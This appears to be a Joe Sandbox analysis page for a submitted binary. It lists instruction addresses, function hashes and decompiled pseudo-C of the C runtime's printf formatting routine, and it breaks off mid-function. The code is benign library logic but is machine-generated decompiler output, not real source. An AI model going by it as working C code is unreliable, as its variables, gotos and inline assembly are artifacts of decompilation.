0x00427763
0x00427766
0x00000000
0x00427768
0x0042776b
0x0042776e
0x00427771
0x00427774
0x0042777a
0x00000000
0x0042777a
0x00427766
0x0042772b
0x0042772b
0x0042772e
0x00427732
0x00427735
0x00000000
0x00427737
0x0042773a
0x0042773d
0x00427740
0x00427743
0x00427749
0x00000000
0x00427749
0x00000000
0x004277d4
0x004277d7
0x004277da
0x00000000
0x00000000
0x004276f1
0x004276f1
0x004276f4
0x004276f7
0x004276fa
0x00427712
0x00427715
0x00427715
0x00427718
0x004276fc
0x004276ff
0x00427702
0x00427708
0x0042770d
0x0042770d
0x00000000
0x00000000
0x004277df
0x004277df
0x004277e2
0x004277e2
0x004277e7
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004277ef
0x004277ef
0x004277f6
0x00427802
0x00427805
0x0042780b
0x00427812
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00427818
0x0042781e
0x0042781e
0x00427825
0x00000000
0x00427b7f
0x00427b7f
0x00427b86
0x00427b8d
0x00427b8d
0x00427b90
0x00000000
0x00000000
0x0042782c
0x0042782f
0x0042782f
0x00427835
0x00427837
0x0042783a
0x0042783a
0x0042783f
0x0042783f
0x00000000
0x00000000
0x0042796c
0x0042796f
0x0042796f
0x00427974
0x00427976
0x00427979
0x00427979
0x0042797f
0x0042797f
0x00000000
0x00000000
0x00427d4c
0x00427d4c
0x00000000
0x00000000
0x004278d6
0x004278d6
0x004278e2
0x004278e8
0x004278ef
0x004278fd
0x004278fd
0x00427903
0x00427906
0x00427912
0x00427967
0x00000000
0x00427967
0x004278f1
0x004278f1
0x004278f7
0x004278fb
0x0042791a
0x0042791a
0x00427920
0x00427948
0x0042794f
0x00427955
0x00427958
0x0042795b
0x00427961
0x00427964
0x00427922
0x00427922
0x00427928
0x0042792b
0x0042792e
0x00427934
0x00427937
0x0042793a
0x0042793c
0x0042793f
0x0042793f
0x00000000
0x00427920
0x00000000
0x00000000
0x00427b96
0x00427b99
0x00427b9c
0x00427b9f
0x00427ba5
0x00427ba8
0x00427baf
0x00427bb3
0x00427bbe
0x00427bbe
0x00427bc2
0x00427bd9
0x00427bd9
0x00427be0
0x00427be2
0x00427be2
0x00427be9
0x00427be9
0x00427bf0
0x00427c01
0x00427c10
0x00427c13
0x00427c17
0x00427c2d
0x00427c19
0x00427c19
0x00427c1c
0x00427c22
0x00427c28
0x00427c28
0x00427c17
0x00427c37
0x00427c3a
0x00427c3d
0x00427c40
0x00427c40
0x00427c43
0x00427c43
0x00427c46
0x00427c4c
0x00427c52
0x00427c5a
0x00427c5b
0x00427c5e
0x00427c5f
0x00427c62
0x00427c63
0x00427c6a
0x00427c6b
0x00427c6e
0x00427c6f
0x00427c72
0x00427c73
0x00427c79
0x00427c7a
0x00427c88
0x00427c8a
0x00427c90
0x00427c90
0x00427c96
0x00427c98
0x00427c9c
0x00427c9e
0x00427ca6
0x00427ca7
0x00427caa
0x00427cab
0x00427cb9
0x00427cbb
0x00427cbb
0x00427c9c
0x00427cbe
0x00427cc5
0x00427cc8
0x00427ccd
0x00427ccd
0x00427cd3
0x00427cd5
0x00427cdd
0x00427cde
0x00427ce1
0x00427ce2
0x00427cf1
0x00427cf3
0x00427cf3
0x00427cd3
0x00427cf6
0x00427cf9
0x00427cfc
0x00427cff
0x00427d04
0x00427d0a
0x00427d0d
0x00427d10
0x00427d10
0x00427d13
0x00427d13
0x00427d16
0x00427d22
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00000000
0x00428033
0x00427bc4
0x00427bc4
0x00427bcb
0x00427bce
0x00000000
0x00000000
0x00427bd0
0x00427bd0
0x00000000
0x00427bd0
0x00427bb5
0x00427bb5
0x00000000
0x00000000
0x00427842
0x00427845
0x00427845
0x0042784b
0x004278a6
0x004278ae
0x004278b5
0x004278bb
0x004278c1
0x0042784d
0x0042784d
0x00427857
0x0042785b
0x00427863
0x0042786a
0x00427877
0x0042787e
0x0042788a
0x00427890
0x00427897
0x00427899
0x00427899
0x004278a0
0x004278c8
0x004278ce
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00000000
0x00427d2a
0x00427d2d
0x00427d30
0x00427d33
0x00427dab
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e6b
0x00427e70
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e50
0x00427e55
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e2a
0x00427e2f
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0e
0x00427e13
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427de1
0x00427de6
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db9
0x00427dbe
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427a88
0x00427a88
0x00427a94
0x00427a9a
0x00427a9f
0x00427aa1
0x00427b4b
0x00427b4e
0x00427b4e
0x00427b51
0x00427b65
0x00427b6b
0x00427b71
0x00427b53
0x00427b53
0x00427b60
0x00427b60
0x00427b73
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00427aa7
0x00427aa7
0x00427aa7
0x00427aa9
0x00427ab7
0x00427aab
0x00427aab
0x00427aab
0x00427ac1
0x00427ac7
0x00427acd
0x00427ad4
0x00427ad6
0x00427adb
0x00427add
0x00427ae2
0x00427ae7
0x00427ae9
0x00427aee
0x00427af1
0x00427af4
0x00427af6
0x00427af6
0x00427af4
0x00427af7
0x00427afe
0x00427b46
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00427b00
0x00427b00
0x00427b05
0x00427b21
0x00427b29
0x00427b33
0x00427b36
0x00427b3b
0x00428258
0x00428265
0x00428265
0x00000000
0x00000000
0x00000000
0x00427d45
0x00427d45
0x00000000
0x00000000
0x00427982
0x00427982
0x00427986
0x00427994
0x00427997
0x00427988
0x00427988
0x00427988
0x0042799d
0x004279a3
0x004279a9
0x004279b5
0x004279bb
0x004279bb
0x004279c1
0x00427a28
0x00427a28
0x00427a2c
0x00427a2e
0x00427a34
0x00427a34
0x00427a37
0x00427a3a
0x00427a40
0x00427a40
0x00427a40
0x00427a4c
0x00427a4f
0x00427a55
0x00427a57
0x00000000
0x00000000
0x00427a59
0x00427a59
0x00427a5f
0x00427a62
0x00427a64
0x00000000
0x00000000
0x00427a66
0x00427a6c
0x00427a6f
0x00427a6f
0x00427a77
0x00427a77
0x00427a7d
0x00427a7d
0x00427a80
0x00000000
0x004279c3
0x004279c3
0x004279c3
0x004279c7
0x004279c9
0x004279ce
0x004279ce
0x004279d1
0x004279d8
0x004279db
0x004279e1
0x004279e1
0x004279e1
0x004279ed
0x004279f0
0x004279f6
0x004279f8
0x00000000
0x00000000
0x004279fa
0x004279fa
0x00427a00
0x00427a03
0x00427a05
0x00000000
0x00000000
0x00427a07
0x00427a0d
0x00427a10
0x00427a10
0x00427a18
0x00427a1e
0x00427a21
0x00427a23
0x00427a83
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00428033
0x00000000
0x00427d3c
0x00427d3c
0x00427dab
0x00427dab
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e6b
0x00427e70
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e50
0x00427e55
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e2a
0x00427e2f
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0e
0x00427e13
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427de1
0x00427de6
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db9
0x00427dbe
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427e87
0x00000000
0x00427d58
0x00427d58
0x00427d62
0x00427d62
0x00427d6c
0x00427d6c
0x00427d72
0x00427d74
0x00427d7e
0x00427d7e
0x00427d81
0x00427d84
0x00427d84
0x00427dab
0x00427dab
0x00427dae
0x00427db3
0x00427dd5
0x00427dd5
0x00427ddb
0x00427dfd
0x00427e00
0x00427e47
0x00427e47
0x00427e4a
0x00427e6b
0x00427e70
0x00427e73
0x00427e75
0x00427e7b
0x00427e4c
0x00427e50
0x00427e55
0x00427e58
0x00427e59
0x00427e5f
0x00427e5f
0x00427e02
0x00427e05
0x00427e05
0x00427e08
0x00427e2a
0x00427e2f
0x00427e35
0x00427e36
0x00427e3c
0x00427e0a
0x00427e0e
0x00427e13
0x00427e17
0x00427e18
0x00427e1e
0x00427e1e
0x00427e42
0x00427ddd
0x00427de1
0x00427de6
0x00427de9
0x00427def
0x00427def
0x00427db5
0x00427db9
0x00427dbe
0x00427dc1
0x00427dc7
0x00427dc7
0x00427e84
0x00427e87
0x00000000
0x00000000
0x00000000
0x00427e87
0x00000000
0x00428033
0x00428033
0x00428033
0x00428037
0x00000000
0x00000000
0x00000000
0x00428037
0x00000000
0x00000000
0x004275f2
0x004275f5
0x004275f8
0x00000000
0x00000000
0x004275fd
0x00427600
0x00427605
0x00000000
0x00000000
0x004275e7
0x004275e7
0x004275ea
0x004275ed
0x00000000
0x00000000
0x004275dc
0x004275df
0x004275e2
0x00000000
0x00000000
0x0042760a
0x0042760a
0x0042760d
0x0042760d
0x00427610
0x00000000
0x00000000
0x00427613
0x00000000
0x00000000
0x0042746d
0x0042823e
0x00428244
0x0042824d
0x00428252
0x00000000
0x00428252
0x00428033
0x0042800a
0x0042800a
0x0042800e
0x0042801b
0x00428021
0x00428027
0x0042802d
0x0042802d
0x00428030
0x00000000
0x00428030
0x00428010
0x00428016
0x00428019
0x00000000
0x00000000
0x00000000
0x00428019
0x00427f72
0x00427f75
0x00427f7f
0x00427f8e
0x00427f97
0x00427fad
0x00427fb3
0x00427fb9
0x00427fc0
0x00427fc8
0x00427fc8
0x00427fce
0x00427fce
0x00427fdd
0x00427fe5
0x00427f54
0x00427f5a
0x00427f5d
0x00427f60
0x00427f62
0x00000000
0x00000000
0x00000000
0x00427f62
0x00427f54
0x00427e94
0x00427e94
0x00427e9b
0x00000000
0x00000000
0x00000000
0x00427ec9
0x00427ecf
0x00427edb
0x00000000
0x00427edb
0x00427dab

APIs

_get_int64_arg.LIBCMTD ref: 00427DB9
__aullrem.LIBCMT ref: 00427F86
__aulldiv.LIBCMT ref: 00427FA8

Strings

9, xrefs: 00427FB9

Memory Dump Source

Source File: 00000000.00000002.664580287.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.664575684.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.664628218.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664661556.000000000054A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.664669500.0000000000550000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sbxGIUIhRd.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: 9
API String ID: 3120068967-2366072709
Opcode ID: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction ID: 0a3f1a5633b9d0139679eb79d4ebe1d393e4b06e21d25a2a7dc5804789f3bcbb
Opcode Fuzzy Hash: 16cc12f056c7e8e5a16d88d8436e1501bcfe4573fab86ef5ecc59b388832d3e0
Instruction Fuzzy Hash: D3410471E082298FDB64DF48DD89BAEB7B5BF84300F5085DAE009A7245C7389E80CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00434FFC, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 100
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00434FFC(intOrPtr __ebx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t576;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t611;
				signed int _t639;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t662;
				signed int _t698;
				intOrPtr _t699;
				intOrPtr _t700;
				signed int _t701;
				void* _t703;

				L0:
				while(1) {
					L0:
					_t700 = __esi;
					_t699 = __edi;
					_t589 = __ebx;
					 *(_t701 - 8) = 8;
					if(( *(_t701 - 0x10) & 0x00000080) != 0) {
						__edx =  *(__ebp - 0x10);
						__edx =  *(__ebp - 0x10) | 0x00000200;
						__eflags = __edx;
						 *(__ebp - 0x10) = __edx;
					}
					while(1) {
						L153:
						__eflags =  *(_t701 - 0x10) & 0x00008000;
						if(( *(_t701 - 0x10) & 0x00008000) == 0) {
							_t649 =  *(_t701 - 0x10) & 0x00001000;
							__eflags = _t649;
							if(_t649 == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00000020;
								if(( *(_t701 - 0x10) & 0x00000020) == 0) {
									_t651 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t651;
									if(_t651 == 0) {
										_t496 = E00428370(_t701 + 0x14);
										_t703 = _t703 + 4;
										__eflags = 0;
										 *(_t701 - 0x2b8) = _t496;
										 *(_t701 - 0x2b4) = 0;
									} else {
										_t580 = E00428370(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t580;
										 *(_t701 - 0x2b4) = _t651;
									}
								} else {
									_t698 =  *(_t701 - 0x10) & 0x00000040;
									__eflags = _t698;
									if(_t698 == 0) {
										_t581 = E00428370(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
										 *(_t701 - 0x2b4) = _t698;
									} else {
										_t584 = E00428370(_t701 + 0x14);
										_t703 = _t703 + 4;
										asm("cdq");
										 *(_t701 - 0x2b8) = _t584;
										 *(_t701 - 0x2b4) = _t698;
									}
								}
							} else {
								_t587 = E00428390(_t701 + 0x14);
								_t703 = _t703 + 4;
								 *(_t701 - 0x2b8) = _t587;
								 *(_t701 - 0x2b4) = _t649;
							}
						} else {
							_t588 = E00428390(_t701 + 0x14);
							_t703 = _t703 + 4;
							 *(_t701 - 0x2b8) = _t588;
							 *(_t701 - 0x2b4) = _t647;
						}
						__eflags =  *(_t701 - 0x10) & 0x00000040;
						if(( *(_t701 - 0x10) & 0x00000040) == 0) {
							goto L170;
						}
						L166:
						__eflags =  *(_t701 - 0x2b4);
						if(__eflags > 0) {
							goto L170;
						}
						L167:
						if(__eflags < 0) {
							L169:
							asm("adc edx, 0x0");
							 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
							 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
							 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
							L171:
							__eflags =  *(_t701 - 0x10) & 0x00008000;
							if(( *(_t701 - 0x10) & 0x00008000) == 0) {
								__eflags =  *(_t701 - 0x10) & 0x00001000;
								if(( *(_t701 - 0x10) & 0x00001000) == 0) {
									_t576 =  *(_t701 - 0x2bc) & 0x00000000;
									__eflags = _t576;
									 *(_t701 - 0x2bc) = _t576;
								}
							}
							__eflags =  *(_t701 - 0x30);
							if( *(_t701 - 0x30) >= 0) {
								 *(_t701 - 0x10) =  *(_t701 - 0x10) & 0xfffffff7;
								__eflags =  *(_t701 - 0x30) - 0x200;
								if( *(_t701 - 0x30) > 0x200) {
									 *(_t701 - 0x30) = 0x200;
								}
							} else {
								 *(_t701 - 0x30) = 1;
							}
							__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
							if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
								 *(_t701 - 0x1c) = 0;
							}
							 *((intOrPtr*)(_t701 - 4)) = _t701 - 0x49;
							while(1) {
								L181:
								_t657 =  *(_t701 - 0x30) - 1;
								 *(_t701 - 0x30) =  *(_t701 - 0x30) - 1;
								__eflags =  *(_t701 - 0x30);
								if( *(_t701 - 0x30) > 0) {
									goto L183;
								}
								L182:
								__eflags =  *(_t701 - 0x2c0) |  *(_t701 - 0x2bc);
								if(( *(_t701 - 0x2c0) |  *(_t701 - 0x2bc)) == 0) {
									L186:
									 *(_t701 - 0x24) = _t701 - 0x49 -  *((intOrPtr*)(_t701 - 4));
									 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) + 1;
									__eflags =  *(_t701 - 0x10) & 0x00000200;
									if(( *(_t701 - 0x10) & 0x00000200) == 0) {
										while(1) {
											L190:
											__eflags =  *(_t701 - 0x28);
											if( *(_t701 - 0x28) != 0) {
												goto L216;
											}
											L191:
											__eflags =  *(_t701 - 0x10) & 0x00000040;
											if(( *(_t701 - 0x10) & 0x00000040) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000100;
												if(( *(_t701 - 0x10) & 0x00000100) == 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000001;
													if(( *(_t701 - 0x10) & 0x00000001) == 0) {
														__eflags =  *(_t701 - 0x10) & 0x00000002;
														if(( *(_t701 - 0x10) & 0x00000002) != 0) {
															 *((char*)(_t701 - 0x14)) = 0x20;
															 *(_t701 - 0x1c) = 1;
														}
													} else {
														 *((char*)(_t701 - 0x14)) = 0x2b;
														 *(_t701 - 0x1c) = 1;
													}
												} else {
													 *((char*)(_t701 - 0x14)) = 0x2d;
													 *(_t701 - 0x1c) = 1;
												}
											}
											 *((intOrPtr*)(_t701 - 0x2c4)) =  *((intOrPtr*)(_t701 - 0x18)) -  *(_t701 - 0x24) -  *(_t701 - 0x1c);
											__eflags =  *(_t701 - 0x10) & 0x0000000c;
											if(( *(_t701 - 0x10) & 0x0000000c) == 0) {
												E00435730(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
											}
											E00435770( *(_t701 - 0x1c), _t701 - 0x14,  *(_t701 - 0x1c),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
											_t703 = _t703 + 0x10;
											__eflags =  *(_t701 - 0x10) & 0x00000008;
											if(( *(_t701 - 0x10) & 0x00000008) != 0) {
												__eflags =  *(_t701 - 0x10) & 0x00000004;
												if(( *(_t701 - 0x10) & 0x00000004) == 0) {
													E00435730(0x30,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
													_t703 = _t703 + 0x10;
												}
											}
											__eflags =  *(_t701 - 0xc);
											if( *(_t701 - 0xc) == 0) {
												L212:
												E00435770( *((intOrPtr*)(_t701 - 4)),  *((intOrPtr*)(_t701 - 4)),  *(_t701 - 0x24),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
												_t703 = _t703 + 0x10;
												goto L213;
											} else {
												L204:
												__eflags =  *(_t701 - 0x24);
												if( *(_t701 - 0x24) <= 0) {
													goto L212;
												}
												L205:
												 *(_t701 - 0x2dc) = 0;
												 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 4));
												 *(_t701 - 0x2cc) =  *(_t701 - 0x24);
												while(1) {
													L206:
													 *(_t701 - 0x2cc) =  *(_t701 - 0x2cc) - 1;
													__eflags =  *(_t701 - 0x2cc);
													if( *(_t701 - 0x2cc) == 0) {
														break;
													}
													L207:
													 *(_t701 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t701 - 0x2c8))));
													_t563 = E00434240(_t701 - 0x2d0, _t701 - 0x2d8, 6,  *(_t701 - 0x32e) & 0x0000ffff);
													_t703 = _t703 + 0x10;
													 *(_t701 - 0x2dc) = _t563;
													 *((intOrPtr*)(_t701 - 0x2c8)) =  *((intOrPtr*)(_t701 - 0x2c8)) + 2;
													__eflags =  *(_t701 - 0x2dc);
													if( *(_t701 - 0x2dc) != 0) {
														L209:
														 *(_t701 - 0x24c) = 0xffffffff;
														break;
													}
													L208:
													__eflags =  *(_t701 - 0x2d0);
													if( *(_t701 - 0x2d0) != 0) {
														L210:
														E00435770( *((intOrPtr*)(_t701 + 8)), _t701 - 0x2d8,  *(_t701 - 0x2d0),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
														continue;
													}
													goto L209;
												}
												L211:
												L213:
												__eflags =  *(_t701 - 0x24c);
												if( *(_t701 - 0x24c) >= 0) {
													__eflags =  *(_t701 - 0x10) & 0x00000004;
													if(( *(_t701 - 0x10) & 0x00000004) != 0) {
														E00435730(0x20,  *((intOrPtr*)(_t701 - 0x2c4)),  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
														_t703 = _t703 + 0x10;
													}
												}
											}
											L216:
											__eflags =  *(_t701 - 0x20);
											if( *(_t701 - 0x20) != 0) {
												L0041C550( *(_t701 - 0x20), 2);
												_t703 = _t703 + 8;
												 *(_t701 - 0x20) = 0;
											}
											while(1) {
												L218:
												 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
												_t665 =  *(_t701 - 0x251);
												 *(_t701 + 0xc) =  *(_t701 + 0xc) + 1;
												if( *(_t701 - 0x251) == 0 ||  *(_t701 - 0x24c) < 0) {
													break;
												} else {
													if( *(_t701 - 0x251) < 0x20 ||  *(_t701 - 0x251) > 0x78) {
														 *(_t701 - 0x310) = 0;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M00407DE8) & 0xf;
													}
												}
												L7:
												 *(_t701 - 0x250) =  *(_t701 - 0x310);
												_t525 =  *(_t701 - 0x250) * 9;
												_t611 =  *(_t701 - 0x25c);
												_t665 = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												 *(_t701 - 0x25c) = ( *(_t525 + _t611 + 0x407e08) & 0x000000ff) >> 4;
												if( *(_t701 - 0x25c) != 8) {
													L16:
													 *(_t701 - 0x318) =  *(_t701 - 0x25c);
													__eflags =  *(_t701 - 0x318) - 7;
													if( *(_t701 - 0x318) > 7) {
														continue;
													}
													L17:
													switch( *((intOrPtr*)( *(_t701 - 0x318) * 4 +  &M00435580))) {
														case 0:
															L18:
															 *(_t701 - 0xc) = 0;
															_t528 = E00431230( *(_t701 - 0x251) & 0x000000ff, E0041AE60(_t701 - 0x40));
															_t706 = _t703 + 8;
															__eflags = _t528;
															if(_t528 == 0) {
																L24:
																E00435690( *(_t701 - 0x251) & 0x000000ff,  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t703 = _t706 + 0xc;
																goto L218;
															} else {
																E00435690( *((intOrPtr*)(_t701 + 8)),  *(_t701 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t701 + 8)), _t701 - 0x24c);
																_t706 = _t706 + 0xc;
																_t616 =  *( *(_t701 + 0xc));
																 *(_t701 - 0x251) =  *( *(_t701 + 0xc));
																_t665 =  *(_t701 + 0xc) + 1;
																__eflags = _t665;
																 *(_t701 + 0xc) = _t665;
																asm("sbb eax, eax");
																 *(_t701 - 0x27c) =  ~( ~( *(_t701 - 0x251)));
																if(_t665 == 0) {
																	_push(L"(ch != _T(\'\\0\'))");
																	_push(0);
																	_push(0x486);
																	_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																	_push(2);
																	_t540 = L0041E390();
																	_t706 = _t706 + 0x14;
																	__eflags = _t540 - 1;
																	if(_t540 == 1) {
																		asm("int3");
																	}
																}
																L22:
																__eflags =  *(_t701 - 0x27c);
																if( *(_t701 - 0x27c) != 0) {
																	goto L24;
																} else {
																	 *((intOrPtr*)(L00422E80(_t616))) = 0x16;
																	E00422C10(_t589, _t616, _t699, _t700, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																	 *(_t701 - 0x2f4) = 0xffffffff;
																	E0041AE30(_t701 - 0x40);
																	_t518 =  *(_t701 - 0x2f4);
																	goto L229;
																}
															}
														case 1:
															L25:
															 *(__ebp - 0x2c) = 0;
															__edx =  *(__ebp - 0x2c);
															 *(__ebp - 0x28) =  *(__ebp - 0x2c);
															__eax =  *(__ebp - 0x28);
															 *(__ebp - 0x18) =  *(__ebp - 0x28);
															__ecx =  *(__ebp - 0x18);
															 *(__ebp - 0x1c) = __ecx;
															 *(__ebp - 0x10) = 0;
															 *(__ebp - 0x30) = 0xffffffff;
															 *(__ebp - 0xc) = 0;
															goto L218;
														case 2:
															L26:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
															__eflags =  *(__ebp - 0x31c) - 0x10;
															if( *(__ebp - 0x31c) > 0x10) {
																goto L33;
															}
															L27:
															__ecx =  *(__ebp - 0x31c);
															_t73 = __ecx + 0x4355b8; // 0x498d04
															__edx =  *_t73 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t73 & 0x000000ff) * 4 +  &M004355A0))) {
																case 0:
																	goto L30;
																case 1:
																	goto L31;
																case 2:
																	goto L29;
																case 3:
																	goto L28;
																case 4:
																	goto L32;
																case 5:
																	goto L33;
															}
														case 3:
															L34:
															__edx =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__eax =  *(__ebp - 0x18);
																__eax =  *(__ebp - 0x18) * 0xa;
																__eflags = __eax;
																__ecx =  *((char*)(__ebp - 0x251));
																_t97 = __ecx - 0x30; // -48
																__edx = __eax + _t97;
																 *(__ebp - 0x18) = __eax + _t97;
															} else {
																__eax = __ebp + 0x14;
																 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x18);
																if( *(__ebp - 0x18) < 0) {
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000004;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																}
															}
															goto L218;
														case 4:
															L40:
															 *(__ebp - 0x30) = 0;
															goto L218;
														case 5:
															L41:
															__eax =  *((char*)(__ebp - 0x251));
															__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
															if( *((char*)(__ebp - 0x251)) != 0x2a) {
																__edx =  *(__ebp - 0x30);
																__edx =  *(__ebp - 0x30) * 0xa;
																__eflags = __edx;
																_t108 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																__ecx = __edx + _t108;
																 *(__ebp - 0x30) = __ecx;
															} else {
																__ecx = __ebp + 0x14;
																 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																__eflags =  *(__ebp - 0x30);
																if( *(__ebp - 0x30) < 0) {
																	 *(__ebp - 0x30) = 0xffffffff;
																}
															}
															goto L218;
														case 6:
															L47:
															__edx =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
															__eflags =  *(__ebp - 0x320) - 0x2e;
															if( *(__ebp - 0x320) > 0x2e) {
																L70:
																goto L218;
															}
															L48:
															__ecx =  *(__ebp - 0x320);
															_t116 = __ecx + 0x4355e0; // 0x4dee9003
															__edx =  *_t116 & 0x000000ff;
															switch( *((intOrPtr*)(( *_t116 & 0x000000ff) * 4 +  &M004355CC))) {
																case 0:
																	L53:
																	__edx =  *(__ebp + 0xc);
																	__eax =  *( *(__ebp + 0xc));
																	__eflags =  *( *(__ebp + 0xc)) - 0x36;
																	if( *( *(__ebp + 0xc)) != 0x36) {
																		L56:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x33;
																		if( *( *(__ebp + 0xc)) != 0x33) {
																			L59:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x64;
																			if( *( *(__ebp + 0xc)) == 0x64) {
																				L65:
																				L67:
																				goto L70;
																			}
																			L60:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x69;
																			if( *__ecx == 0x69) {
																				goto L65;
																			}
																			L61:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc));
																			__eflags = __ecx - 0x6f;
																			if(__ecx == 0x6f) {
																				goto L65;
																			}
																			L62:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x75;
																			if( *( *(__ebp + 0xc)) == 0x75) {
																				goto L65;
																			}
																			L63:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *__ecx;
																			__eflags =  *__ecx - 0x78;
																			if( *__ecx == 0x78) {
																				goto L65;
																			}
																			L64:
